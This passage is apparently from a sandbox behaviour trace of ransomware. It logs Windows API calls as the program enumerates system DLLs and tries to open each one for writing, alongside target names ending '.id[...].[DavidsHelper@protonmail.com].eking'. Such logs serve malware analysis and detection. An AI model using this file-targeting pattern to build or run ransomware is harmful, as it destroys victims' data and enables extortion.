(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll")) returned 0x20 [0177.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll")) returned 0x20 [0177.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.355] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=303104) returned 1 [0177.355] CloseHandle (hObject=0x1c0) returned 1 [0177.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0177.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0177.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.356] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.356] CloseHandle (hObject=0x1c0) returned 1 [0177.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0177.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0177.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.358] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.358] CloseHandle (hObject=0x1c0) returned 1 [0177.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0177.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0177.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.363] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=389120) returned 1 [0177.363] CloseHandle (hObject=0x1c0) returned 1 [0177.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0177.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0177.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.364] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=249856) returned 1 [0177.364] CloseHandle (hObject=0x1c0) returned 1 [0177.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0177.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0177.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.365] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.365] CloseHandle (hObject=0x1c0) returned 1 [0177.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0177.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0177.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.366] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=57344) returned 1 [0177.366] CloseHandle (hObject=0x1c0) returned 1 [0177.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0177.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0177.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.368] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=58752) returned 1 [0177.368] CloseHandle (hObject=0x1c0) returned 1 [0177.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll")) returned 0x20 [0177.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll")) returned 0x20 [0177.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.372] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5632) returned 1 [0177.372] CloseHandle (hObject=0x1c0) returned 1 [0177.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0177.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0177.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.373] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=47616) returned 1 [0177.373] CloseHandle (hObject=0x1c0) returned 1 [0177.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0177.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0177.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.378] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=44032) returned 1 [0177.378] CloseHandle (hObject=0x1c0) returned 1 [0177.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0177.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0177.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.379] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=17920) returned 1 [0177.379] CloseHandle (hObject=0x1c0) returned 1 [0177.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0177.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0177.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.380] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=126976) returned 1 [0177.380] CloseHandle (hObject=0x1c0) returned 1 [0177.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0177.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0177.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.382] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=434176) returned 1 [0177.382] CloseHandle (hObject=0x1c0) returned 1 [0177.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0177.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0177.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.384] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=745472) returned 1 [0177.384] CloseHandle (hObject=0x1c0) returned 1 [0177.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0177.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0177.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.385] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=61440) returned 1 [0177.385] CloseHandle (hObject=0x1c0) returned 1 [0177.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0177.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0177.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.386] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=131072) returned 1 [0177.386] CloseHandle (hObject=0x1c0) returned 1 [0177.386] GetFileAttributesW 